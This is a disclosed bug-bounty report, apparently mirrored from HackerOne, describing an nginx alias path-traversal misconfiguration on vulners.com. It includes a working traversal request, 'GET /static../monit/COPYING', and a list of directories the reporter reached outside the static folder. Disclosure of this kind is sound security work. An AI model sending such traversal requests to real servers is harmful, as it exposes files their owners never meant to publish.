HexBrain

vulners.com · Report #317201

[vulners.com] nginx alias_traversal

Validstatus
mediumseverity
14upvotes
3 May 2018disclosed

How it was found

Incorrect configuration of alias could allow an attacker to read file stored outside the target folder. https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md

Уязвимость только в конфигурации http, на https такого нет.

Пример:

GET /static../monit/COPYING HTTP/1.1
Host: vulners.com

{F264475}

Примеры директорий, которые я обнаружил

rh/
nginx/cache/
monit/bin/monit
monit/conf/
monit/man/
monit/COPYING
monit/CHANGES

Impact

Incorrect configuration of alias could allow an attacker to read file stored outside the target folder.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original